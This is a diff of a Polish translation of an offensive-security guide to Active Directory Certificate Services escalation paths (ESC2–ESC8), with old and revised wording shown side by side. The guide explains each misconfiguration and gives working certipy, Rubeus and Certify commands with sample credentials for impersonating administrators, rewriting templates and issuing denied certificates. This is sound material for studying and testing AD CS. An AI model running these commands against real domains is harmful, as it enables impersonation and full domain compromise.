Wyliczenie szablonów certyfikatów w schemacie konfiguracji AD Forest, w szczególności tych nie wymagających zatwierdzenia ani podpisów, posiadających uwierzytelnianie klienta lub EKU logowania kartą inteligentną, oraz z włączoną flagą `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, można przeprowadzić, uruchamiając następujące zapytanie LDAP:
|
||||||
```
|
```
|
||||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||||
```
|
```
|
||||||
|
@ -82,39 +82,39 @@ Drugi scenariusz nadużycia to wariacja pierwszego:
|
||||||
4. Nadmiernie liberalny deskryptor zabezpieczeń na szablonie certyfikatu przyznaje uprawnienia do zapisywania certyfikatów nisko uprzywilejowanym użytkownikom.
|
4. Nadmiernie liberalny deskryptor zabezpieczeń na szablonie certyfikatu przyznaje uprawnienia do zapisywania certyfikatów nisko uprzywilejowanym użytkownikom.
|
||||||
5. **Szablon certyfikatu jest zdefiniowany tak, aby zawierał dowolny cel EKU lub brak EKU.**
|
5. **Szablon certyfikatu jest zdefiniowany tak, aby zawierał dowolny cel EKU lub brak EKU.**
|
||||||
|
|
||||||
**Dowolny cel EKU** pozwala na uzyskanie certyfikatu przez atakującego do **dowolnego celu**, w tym uwierzytelniania klienta, uwierzytelniania serwera, podpisywania kodu, itp. Ta sama **technika używana w ESC3** może być wykorzystana do wykorzystania tego scenariusza.
|
**Dowolny cel EKU** pozwala na uzyskanie certyfikatu przez atakującego do **dowolnego celu**, w tym uwierzytelniania klienta, uwierzytelniania serwera, podpisywania kodu, itp. Ta sama **technika używana w przypadku ESC3** może być wykorzystana do wykorzystania tego scenariusza.
|
||||||
|
|
||||||
Certyfikaty **bez EKU**, które działają jako certyfikaty podrzędne CA, mogą być wykorzystane do **dowolnego celu** i mogą **również służyć do podpisywania nowych certyfikatów**. Dlatego atakujący mógłby określić dowolne EKU lub pola w nowych certyfikatach, korzystając z certyfikatu podrzędnego CA.
|
Certyfikaty **bez EKU**, które działają jako certyfikaty podrzędne CA, mogą być wykorzystane do **dowolnego celu** i mogą **również służyć do podpisywania nowych certyfikatów**. Dlatego atakujący mógłby określić dowolne EKU lub pola w nowych certyfikatach, korzystając z certyfikatu podrzędnego CA.
|
||||||
|
|
||||||
Jednakże nowe certyfikaty utworzone do **uwierzytelniania domeny** nie będą działać, jeśli certyfikat podrzędny CA nie jest zaufany przez obiekt **`NTAuthCertificates`**, co jest domyślnym ustawieniem. Niemniej jednak, atakujący nadal może tworzyć **nowe certyfikaty z dowolnym EKU** i arbitralnymi wartościami certyfikatu. Mogą one potencjalnie **być wykorzystane** do szerokiego zakresu celów (np. podpisywania kodu, uwierzytelniania serwera, itp.) i mogą mieć znaczące implikacje dla innych aplikacji w sieci, takich jak SAML, AD FS, czy IPSec.
|
Jednakże nowe certyfikaty utworzone do **uwierzytelniania domeny** nie będą działać, jeśli certyfikat podrzędny CA nie jest zaufany przez obiekt **`NTAuthCertificates`**, co jest ustawieniem domyślnym. Niemniej jednak, atakujący nadal może tworzyć **nowe certyfikaty z dowolnym EKU** i arbitralnymi wartościami certyfikatu. Mogą one potencjalnie **być wykorzystane** do szerokiego zakresu celów (np. podpisywania kodu, uwierzytelniania serwera, itp.) i mogą mieć znaczące implikacje dla innych aplikacji w sieci, takich jak SAML, AD FS, czy IPSec.
|
||||||
|
|
||||||
Aby wyliczyć szablony pasujące do tego scenariusza w schemacie konfiguracji lasu AD, można uruchomić następujące zapytanie LDAP:
|
Aby wyliczyć szablony pasujące do tego scenariusza w schemacie konfiguracji lasu AD, można uruchomić następujące zapytanie LDAP:
|
||||||
```
|
```
|
||||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||||
```
|
```
|
||||||
## Źle skonfigurowane szablony agenta zapisu - ESC3
|
## Niewłaściwie skonfigurowane szablony agenta zapisu - ESC3
|
||||||
|
|
||||||
### Wyjaśnienie
|
### Wyjaśnienie
|
||||||
|
|
||||||
Ten scenariusz jest podobny do pierwszego i drugiego, ale **wykorzystuje** **inne EKU** (Agent żądania certyfikatu) i **2 różne szablony** (co skutkuje 2 zestawami wymagań).
|
Ten scenariusz jest podobny do pierwszego i drugiego, ale **wykorzystuje** **inne EKU** (Agent żądania certyfikatu) i **2 różne szablony** (dlatego ma 2 zestawy wymagań),
|
||||||
|
|
||||||
**Agent żądania certyfikatu EKU** (OID 1.3.6.1.4.1.311.20.2.1), znany jako **Agent zapisu** w dokumentacji firmy Microsoft, umożliwia podmiotowi **zapisanie się** na **certyfikat w imieniu innego użytkownika**.
|
**Agent żądania certyfikatu EKU** (OID 1.3.6.1.4.1.311.20.2.1), znany jako **Agent zapisu** w dokumentacji firmy Microsoft, umożliwia podmiotowi **zapisanie się** na **certyfikat w imieniu innego użytkownika**.
|
||||||
|
|
||||||
**"Agent zapisu"** zapisuje się w takim **szablonie** i używa wynikowego **certyfikatu do współpodpisywania CSR w imieniu innego użytkownika**. Następnie **wysyła** współpodpisany CSR do CA, zapisując się w **szablonie**, który **pozwala na "zapisanie się w imieniu"**, a CA odpowiada **certyfikatem należącym do "innego" użytkownika**.
|
**"Agent zapisu"** zapisuje się w takim **szablonie** i używa wynikowego **certyfikatu do współpodpisywania CSR w imieniu innego użytkownika**. Następnie **wysyła** współpodpisany CSR do CA, zapisując się w **szablonie**, który **pozwala na "zapisanie się w imieniu"**, a CA odpowiada certyfikatem należącym do "innego" użytkownika.
|
||||||
|
|
||||||
**Wymagania 1:**
|
**Wymagania 1:**
|
||||||
|
|
||||||
* Uprawnienia do zapisu są udzielane nisko uprzywilejowanym użytkownikom przez CA przedsiębiorstwa.
|
* Uprawnienia do zapisu są udzielane nisko uprzywilejowanym użytkownikom przez CA przedsiębiorstwa.
|
||||||
* Wymóg zgody menedżera jest pominięty.
|
* Wymóg zgody menedżera jest pomijany.
|
||||||
* Brak wymogu podpisów autoryzowanych.
|
* Brak wymogu podpisów autoryzowanych.
|
||||||
* Deskryptor zabezpieczeń szablonu certyfikatu jest nadmiernie przychylny, nadając uprawnienia do zapisu nisko uprzywilejowanym użytkownikom.
|
* Deskryptor zabezpieczeń szablonu certyfikatu jest nadmiernie przychylny, udzielając uprawnień do zapisu nisko uprzywilejowanym użytkownikom.
|
||||||
* Szablon certyfikatu zawiera EKU agenta żądania certyfikatu, umożliwiając żądanie innych szablonów certyfikatów w imieniu innych podmiotów.
|
* Szablon certyfikatu zawiera EKU Agent żądania certyfikatu, umożliwiając żądanie innych szablonów certyfikatów w imieniu innych podmiotów.
|
||||||
|
|
||||||
**Wymagania 2:**
|
**Wymagania 2:**
|
||||||
|
|
||||||
* CA przedsiębiorstwa udziela uprawnień do zapisu nisko uprzywilejowanym użytkownikom.
|
* CA przedsiębiorstwa udziela uprawnień do zapisu nisko uprzywilejowanym użytkownikom.
|
||||||
* Zgoda menedżera jest obejśnięta.
|
* Zgoda menedżera jest pomijana.
|
||||||
* Wersja schematu szablonu to albo 1, albo przekracza 2, i określa Wymaganie Wydania Polityki Aplikacji, które wymaga EKU agenta żądania certyfikatu.
|
* Wersja schematu szablonu to albo 1, albo przekracza 2, i określa Wymaganie wydania zasady aplikacji, które wymaga EKU Agent żądania certyfikatu.
|
||||||
* EKU zdefiniowane w szablonie certyfikatu umożliwia uwierzytelnianie domeny.
|
* EKU zdefiniowane w szablonie certyfikatu umożliwia uwierzytelnianie domeny.
|
||||||
* Ograniczenia dla agentów zapisu nie są stosowane w CA.
|
* Ograniczenia dla agentów zapisu nie są stosowane w CA.
|
||||||
|
|
||||||
|
@ -134,15 +134,15 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
||||||
# Use Rubeus with the certificate to authenticate as the other user
|
# Use Rubeus with the certificate to authenticate as the other user
|
||||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||||
```
|
```
|
||||||
**Użytkownicy**, którzy mają prawo **uzyskać** certyfikat **agenta** do rejestracji, szablony, w których **agenta** rejestracji można zarejestrować, oraz **konta**, w imieniu których agent rejestracji może działać, mogą być ograniczone przez przedsiębiorstwo CAs. Można to osiągnąć, otwierając `certsrc.msc` **snap-in**, **klikając prawym przyciskiem myszy na CA**, **klikając Właściwości**, a następnie **przechodząc** do karty "Agenci rejestracji".
|
**Użytkownicy**, którzy mają prawo **uzyskać** certyfikat **agenta do zapisu**, szablony, w których agenci do zapisu mają prawo do zapisu, oraz **konta**, w imieniu których agent do zapisu może działać, mogą być ograniczeni przez przedsiębiorstwowe CA. Można to osiągnąć, otwierając `certsrc.msc` **snap-in**, **klikając prawym przyciskiem myszy na CA**, **klikając Właściwości**, a następnie **przechodząc** do karty "Agenci do zapisu".
|
||||||
|
|
||||||
Jednak zauważono, że **domyślne** ustawienie dla CAs to "Nie ograniczaj agentów rejestracji". Gdy ograniczenie agentów rejestracji jest włączone przez administratorów, ustawienie go na "Ogranicz agentów rejestracji", domyślna konfiguracja pozostaje bardzo liberalna. Pozwala to **Wszystkim** uzyskać dostęp do rejestracji we wszystkich szablonach jako ktokolwiek.
|
Jednakże zauważono, że **domyślne** ustawienie dla CA to "Nie ograniczaj agentów do zapisu". Gdy ograniczenie agentów do zapisu jest włączone przez administratorów, ustawienie go na "Ogranicz agentów do zapisu", domyślna konfiguracja pozostaje bardzo liberalna. Pozwala to **Wszystkim** uzyskać dostęp do zapisu we wszystkich szablonach jako ktokolwiek.
|
||||||
|
|
||||||
## Narażona kontrola dostępu do szablonu certyfikatu - ESC4
|
## Kontrola dostępu do szablonu certyfikatu podatna na atak - ESC4
|
||||||
|
|
||||||
### **Wyjaśnienie**
|
### **Wyjaśnienie**
|
||||||
|
|
||||||
**Deskryptor zabezpieczeń** na **szablonach certyfikatów** określa **uprawnienia** konkretnych **podmiotów AD** dotyczące szablonu.
|
**Deskryptor zabezpieczeń** na **szablonach certyfikatów** określa **uprawnienia**, jakie posiadają konkretne **podmioty AD** w odniesieniu do szablonu.
|
||||||
|
|
||||||
Jeśli **atakujący** posiada wymagane **uprawnienia** do **zmiany** **szablonu** i **wprowadzenia** jakichkolwiek **wykorzystywanych błędów konfiguracyjnych** opisanych w **poprzednich sekcjach**, ułatwione może być eskalacja uprawnień.
|
Jeśli **atakujący** posiada wymagane **uprawnienia** do **zmiany** **szablonu** i **wprowadzenia** jakichkolwiek **wykorzystywanych błędów konfiguracyjnych** opisanych w **poprzednich sekcjach**, ułatwione może być eskalacja uprawnień.
|
||||||
|
|
||||||
|
@ -150,13 +150,13 @@ Znaczące uprawnienia dotyczące szablonów certyfikatów obejmują:
|
||||||
|
|
||||||
* **Właściciel:** Zapewnia kontrolę nad obiektem, umożliwiając modyfikację dowolnych atrybutów.
|
* **Właściciel:** Zapewnia kontrolę nad obiektem, umożliwiając modyfikację dowolnych atrybutów.
|
||||||
* **Pełna kontrola:** Umożliwia pełną kontrolę nad obiektem, w tym możliwość zmiany dowolnych atrybutów.
|
* **Pełna kontrola:** Umożliwia pełną kontrolę nad obiektem, w tym możliwość zmiany dowolnych atrybutów.
|
||||||
* **Zapisz właściciela:** Umożliwia zmianę właściciela obiektu na podmiot znajdujący się pod kontrolą atakującego.
|
* **ZapiszWłaściciela:** Pozwala na zmianę właściciela obiektu na podmiot znajdujący się pod kontrolą atakującego.
|
||||||
* **ZapiszDacl:** Pozwala na dostosowanie kontroli dostępu, potencjalnie przyznając atakującemu pełną kontrolę.
|
* **ZapiszDacl:** Umożliwia dostosowanie kontroli dostępu, potencjalnie nadając atakującemu pełną kontrolę.
|
||||||
* **ZapiszWłaściwość:** Uprawnia do edycji dowolnych właściwości obiektu.
|
* **ZapiszWłaściwość:** Uprawnia do edycji dowolnych właściwości obiektu.
|
||||||
|
|
||||||
### Nadużycie
|
### Nadużycie
|
||||||
|
|
||||||
Przykład privesc jak poprzedni:
|
Przykład privesc podobny do poprzedniego:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (811).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (811).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -166,7 +166,7 @@ Jak widać na powyższej ścieżce, tylko `JOHNPC` ma te uprawnienia, ale nasz u
|
||||||
```bash
|
```bash
|
||||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||||
```
|
```
|
||||||
**Certipy** może nadpisać konfigurację szablonu certyfikatu za pomocą jednej komendy. Domyślnie Certipy nadpisze konfigurację, aby uczynić ją podatną na ESC1. Możemy również określić parametr `-save-old`, aby zapisać starą konfigurację, co będzie przydatne do przywrócenia konfiguracji po ataku.
|
**Certipy** może nadpisać konfigurację szablonu certyfikatu za pomocą jednej komendy. Domyślnie Certipy nadpisze konfigurację, aby uczynić ją podatną na ESC1. Możemy także określić parametr `-save-old`, aby zapisać starą konfigurację, co będzie przydatne do przywrócenia konfiguracji po naszym ataku.
|
||||||
```bash
|
```bash
|
||||||
# Make template vuln to ESC1
|
# Make template vuln to ESC1
|
||||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||||
|
@ -177,7 +177,7 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
||||||
# Restore config
|
# Restore config
|
||||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
||||||
```
|
```
|
||||||
## Podatny dostęp do kontroli dostępu do obiektów PKI - ESC5
|
## Podatny kontrola dostępu do obiektów PKI - ESC5
|
||||||
|
|
||||||
### Wyjaśnienie
|
### Wyjaśnienie
|
||||||
|
|
||||||
|
@ -185,7 +185,7 @@ Rozległa sieć powiązań oparta na listach kontroli dostępu (ACL), która obe
|
||||||
|
|
||||||
* Obiekt komputera AD serwera CA, który może zostać skompromitowany poprzez mechanizmy takie jak S4U2Self lub S4U2Proxy.
|
* Obiekt komputera AD serwera CA, który może zostać skompromitowany poprzez mechanizmy takie jak S4U2Self lub S4U2Proxy.
|
||||||
* Serwer RPC/DCOM serwera CA.
|
* Serwer RPC/DCOM serwera CA.
|
||||||
* Dowolny obiekt potomny AD lub kontener w określonej ścieżce kontenera `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ta ścieżka obejmuje, ale nie ogranicza się do kontenerów i obiektów takich jak kontener Szablonów Certyfikatów, kontener Certyfikujących Urzędów, obiekt NTAuthCertificates i kontener Usług Enrollments.
|
* Dowolny obiekt potomny AD lub kontener w określonej ścieżce kontenera `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ta ścieżka obejmuje, ale nie ogranicza się do, kontenerów i obiektów takich jak kontener Szablonów Certyfikatów, kontener Certyfikujących Urzędów, obiekt NTAuthCertificates i kontener Usług Enroll.
|
||||||
|
|
||||||
Bezpieczeństwo systemu PKI może zostać naruszone, jeśli nisko uprzywilejowany atakujący zdobędzie kontrolę nad którymkolwiek z tych kluczowych komponentów.
|
Bezpieczeństwo systemu PKI może zostać naruszone, jeśli nisko uprzywilejowany atakujący zdobędzie kontrolę nad którymkolwiek z tych kluczowych komponentów.
|
||||||
|
|
||||||
|
@ -193,9 +193,9 @@ Bezpieczeństwo systemu PKI może zostać naruszone, jeśli nisko uprzywilejowan
|
||||||
|
|
||||||
### Wyjaśnienie
|
### Wyjaśnienie
|
||||||
|
|
||||||
Temat omawiany w [**poście Akademii CQure**](https://cqureacademy.com/blog/enhanced-key-usage) dotyczy również implikacji flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, jak to opisano w dokumentacji firmy Microsoft. Ta konfiguracja, gdy jest aktywowana na Urzędzie Certyfikacyjnym (CA), pozwala na uwzględnienie **wartości zdefiniowanych przez użytkownika** w **alternatywnej nazwie podmiotu** dla **dowolnego żądania**, w tym tych skonstruowanych z Active Directory®. W rezultacie ta możliwość pozwala **intruzowi** na zapisanie się poprzez **dowolny szablon** ustawiony dla **uwierzytelniania** domeny—szczególnie tych otwartych dla zapisu przez **nieuprzywilejowanych** użytkowników, takich jak standardowy szablon Użytkownika. W rezultacie certyfikat może być zabezpieczony, umożliwiając intruzowi uwierzytelnienie się jako administrator domeny lub **dowolna inna aktywna jednostka** w domenie.
|
Temat omawiany w [**poście Akademii CQure**](https://cqureacademy.com/blog/enhanced-key-usage) dotyczy również implikacji flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, jak to opisano przez firmę Microsoft. Ta konfiguracja, gdy jest aktywowana na Urzędzie Certyfikacyjnym (CA), pozwala na uwzględnienie **wartości zdefiniowanych przez użytkownika** w **alternatywnej nazwie podmiotu** dla **dowolnego żądania**, w tym tych skonstruowanych z Active Directory®. W rezultacie ta możliwość pozwala **intruzowi** na zapisanie się poprzez **dowolny szablon** ustawiony dla **uwierzytelniania** domeny—szczególnie tych otwartych dla **rejestracji przez użytkowników nieuprzywilejowanych**, takich jak standardowy szablon Użytkownika. W rezultacie certyfikat może być zabezpieczony, umożliwiając intruzowi uwierzytelnienie jako administrator domeny lub **dowolna inna aktywna jednostka** w domenie.
|
||||||
|
|
||||||
**Uwaga**: Sposób dodawania **alternatywnych nazw** do żądania certyfikatu (CSR), poprzez argument `-attrib "SAN:"` w `certreq.exe` (nazywany „Pary Wartości Nazw”), prezentuje **kontrast** w porównaniu ze strategią eksploatacji SAN w ESC1. Tutaj różnica polega na **enkapsulacji informacji o koncie**—w atrybucie certyfikatu, a nie w rozszerzeniu.
|
**Uwaga**: Sposób dodawania **alternatywnych nazw** do Wniosku o Wydanie Certyfikatu (CSR), poprzez argument `-attrib "SAN:"` w `certreq.exe` (nazywany „Pary Wartości Nazw”), prezentuje **kontrast** w stosunku do strategii eksploatacji SANów w ESC1. Tutaj różnica polega na **sposobie kapsułkowania informacji o koncie**—w atrybucie certyfikatu, a nie w rozszerzeniu.
|
||||||
|
|
||||||
### Nadużycie
|
### Nadużycie
|
||||||
|
|
||||||
|
@ -226,7 +226,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Po aktualizacjach zabezpieczeń z maja 2022 r. nowo wydane **certyfikaty** będą zawierać **rozszerzenie zabezpieczeń**, które zawiera **właściwość `objectSid` żądającego**. Dla ESC1 SID ten jest pochodną określonego SAN. Jednakże dla **ESC6** SID odzwierciedla **`objectSid` żądającego**, a nie SAN.\
|
Po aktualizacjach zabezpieczeń z maja 2022 r. nowo wydane **certyfikaty** będą zawierać **rozszerzenie zabezpieczeń**, które zawiera **właściwość `objectSid` żądającego**. Dla ESC1 SID ten jest pochodną określonego SAN. Jednakże dla **ESC6** SID odzwierciedla **`objectSid` żądającego**, a nie SAN.\
|
||||||
Aby wykorzystać ESC6, konieczne jest, aby system był podatny na ESC10 (Słabe mapowania certyfikatów), który priorytetowo traktuje **SAN nad nowym rozszerzeniem zabezpieczeń**.
|
Aby wykorzystać ESC6, konieczne jest, aby system był podatny na ESC10 (Słabe mapowania certyfikatów), które priorytetowo traktuje **SAN nad nowym rozszerzeniem zabezpieczeń**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Wrażliwa kontrola dostępu do certyfikatu CA - ESC7
|
## Wrażliwa kontrola dostępu do certyfikatu CA - ESC7
|
||||||
|
@ -235,7 +235,7 @@ Aby wykorzystać ESC6, konieczne jest, aby system był podatny na ESC10 (Słabe
|
||||||
|
|
||||||
#### Wyjaśnienie
|
#### Wyjaśnienie
|
||||||
|
|
||||||
Kontrola dostępu do certyfikatu CA jest utrzymywana poprzez zestaw uprawnień regulujących działania CA. Te uprawnienia można zobaczyć, przechodząc do `certsrv.msc`, klikając prawym przyciskiem CA, wybierając właściwości, a następnie przechodząc do karty Zabezpieczenia. Dodatkowo uprawnienia można wyliczyć za pomocą modułu PSPKI za pomocą poleceń takich jak:
|
Kontrola dostępu do certyfikatu CA jest utrzymywana poprzez zestaw uprawnień regulujących działania CA. Te uprawnienia można zobaczyć, przechodząc do `certsrv.msc`, klikając prawym przyciskiem myszy na CA, wybierając właściwości, a następnie przechodząc do karty Zabezpieczenia. Dodatkowo uprawnienia można wyliczyć, używając modułu PSPKI za pomocą poleceń takich jak:
|
||||||
```bash
|
```bash
|
||||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||||
```
|
```
|
||||||
|
@ -243,7 +243,7 @@ To zapewnia wgląd w podstawowe uprawnienia, mianowicie **`ManageCA`** i **`Mana
|
||||||
|
|
||||||
#### Nadużycie
|
#### Nadużycie
|
||||||
|
|
||||||
Posiadanie uprawnień **`ManageCA`** w instytucji certyfikującej umożliwia podmiotowi zdalne manipulowanie ustawieniami za pomocą PSPKI. Obejmuje to przełączanie flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`** w celu zezwolenia na określenie SAN w dowolnym szablonie, co jest istotnym aspektem eskalacji domeny.
|
Posiadanie uprawnień **`ManageCA`** w instytucji certyfikującej umożliwia podmiotowi zdalne manipulowanie ustawieniami za pomocą PSPKI. Obejmuje to przełączanie flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`** w celu zezwolenia na określenie SAN w dowolnym szablonie, co stanowi istotny aspekt eskalacji domeny.
|
||||||
|
|
||||||
Uproszczenie tego procesu jest osiągalne poprzez użycie polecenia **Enable-PolicyModuleFlag** w PSPKI, umożliwiające modyfikacje bez bezpośredniej interakcji z interfejsem GUI.
|
Uproszczenie tego procesu jest osiągalne poprzez użycie polecenia **Enable-PolicyModuleFlag** w PSPKI, umożliwiające modyfikacje bez bezpośredniej interakcji z interfejsem GUI.
|
||||||
|
|
||||||
|
@ -270,10 +270,10 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
||||||
#### Wyjaśnienie
|
#### Wyjaśnienie
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
W **poprzednim ataku** wykorzystano uprawnienia **`Manage CA`** do **włączenia** flagi **EDITF\_ATTRIBUTESUBJECTALTNAME2** w celu przeprowadzenia ataku **ESC6**, ale nie będzie to miało żadnego efektu do czasu ponownego uruchomienia usługi CA (`CertSvc`). Gdy użytkownik ma prawo dostępu `Manage CA`, ma również uprawnienie do **ponownego uruchomienia usługi**. Jednakże **nie oznacza to, że użytkownik może zdalnie uruchomić usługę**. Ponadto **ESC6** może nie działać od razu w większości zaktualizowanych środowisk z powodu aktualizacji zabezpieczeń z maja 2022 roku.
|
W **poprzednim ataku** uprawnienia **`Manage CA`** zostały wykorzystane do **włączenia** flagi **EDITF\_ATTRIBUTESUBJECTALTNAME2** w celu przeprowadzenia ataku **ESC6**, ale nie będzie to miało żadnego efektu do momentu ponownego uruchomienia usługi CA (`CertSvc`). Gdy użytkownik ma prawo dostępu `Manage CA`, ma również uprawnienie do **ponownego uruchomienia usługi**. Jednakże **nie oznacza to, że użytkownik może zdalnie uruchomić usługę**. Ponadto **ESC6 może nie działać od razu** w większości zaktualizowanych środowisk z powodu aktualizacji zabezpieczeń z maja 2022 roku.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Dlatego przedstawiony jest tutaj kolejny atak.
|
Dlatego tutaj przedstawiony jest kolejny atak.
|
||||||
|
|
||||||
Wymagania wstępne:
|
Wymagania wstępne:
|
||||||
|
|
||||||
|
@ -281,7 +281,7 @@ Wymagania wstępne:
|
||||||
* Uprawnienie **`Manage Certificates`** (może być udzielone z uprawnienia **`ManageCA`**)
|
* Uprawnienie **`Manage Certificates`** (może być udzielone z uprawnienia **`ManageCA`**)
|
||||||
* Szablon certyfikatu **`SubCA`** musi być **włączony** (może być włączony z uprawnienia **`ManageCA`**)
|
* Szablon certyfikatu **`SubCA`** musi być **włączony** (może być włączony z uprawnienia **`ManageCA`**)
|
||||||
|
|
||||||
Technika polega na tym, że użytkownicy z uprawnieniem `Manage CA` _i_ `Manage Certificates` mogą **wydawać nieudane żądania certyfikatów**. Szablon certyfikatu **`SubCA`** jest **podatny na ESC1**, ale **tylko administratorzy** mogą zapisać się do szablonu. Dlatego **użytkownik** może **poprosić** o zapisanie się do **`SubCA`** - co zostanie **odrzucone** - ale **następnie wydane przez menedżera**.
|
Technika polega na tym, że użytkownicy posiadający uprawnienia `Manage CA` _i_ `Manage Certificates` mogą **wydawać nieudane żądania certyfikatów**. Szablon certyfikatu **`SubCA`** jest **podatny na ESC1**, ale **tylko administratorzy** mogą zapisać się do szablonu. Dlatego **użytkownik** może **poprosić** o zapisanie się do **`SubCA`** - co zostanie **odrzucone** - ale **następnie wydane przez menedżera**.
|
||||||
|
|
||||||
#### Nadużycie
|
#### Nadużycie
|
||||||
|
|
||||||
|
@ -306,7 +306,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
```
|
```
|
||||||
Jeśli spełniliśmy wymagania wstępne dla tego ataku, możemy rozpocząć od **żądania certyfikatu opartego na szablonie `SubCA`**.
|
Jeśli spełniliśmy wymagania wstępne dla tego ataku, możemy rozpocząć od **żądania certyfikatu opartego na szablonie `SubCA`**.
|
||||||
|
|
||||||
**To żądanie zostanie odrzucone**, ale zachowamy klucz prywatny i zapiszemy identyfikator żądania.
|
**To żądanie zostanie odrzucone**, ale zachowamy prywatny klucz i zapiszemy identyfikator żądania.
|
||||||
```bash
|
```bash
|
||||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
||||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
|
@ -318,7 +318,7 @@ Would you like to save the private key? (y/N) y
|
||||||
[*] Saved private key to 785.key
|
[*] Saved private key to 785.key
|
||||||
[-] Failed to request certificate
|
[-] Failed to request certificate
|
||||||
```
|
```
|
||||||
Z naszymi **`Zarządzaj CA` i `Zarządzaj Certyfikatami`**, możemy następnie **wydać nieudane żądanie certyfikatu** za pomocą polecenia `ca` i parametru `-issue-request <ID żądania>`.
|
Z naszym **`Zarządzaj CA` i `Zarządzaj Certyfikatami`**, możemy następnie **wydać nieudany certyfikat** żądanie za pomocą polecenia `ca` i parametru `-issue-request <ID żądania>`.
|
||||||
```bash
|
```bash
|
||||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
|
@ -342,23 +342,23 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
### Wyjaśnienie
|
### Wyjaśnienie
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
W środowiskach, gdzie **zainstalowano AD CS**, jeśli istnieje **podatny punkt końcowy do rejestracji internetowej** i co najmniej jeden **szablon certyfikatu jest opublikowany**, który pozwala na **rejestrację komputera domenowego i uwierzytelnianie klienta** (tak jak domyślny szablon **`Machine`**), staje się możliwe, że **dowolny komputer z usługą spoolera aktywną może zostać skompromitowany przez atakującego**!
|
W środowiskach, w których **zainstalowano AD CS**, jeśli istnieje **podatny punkt końcowy do zapisu sieciowego** i co najmniej jeden **szablon certyfikatu jest opublikowany**, który pozwala na **zapis komputera domeny i uwierzytelnianie klienta** (takie jak domyślny szablon **`Machine`**), staje się możliwe, że **dowolny komputer z usługą spoolera może zostać skompromitowany przez atakującego**!
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
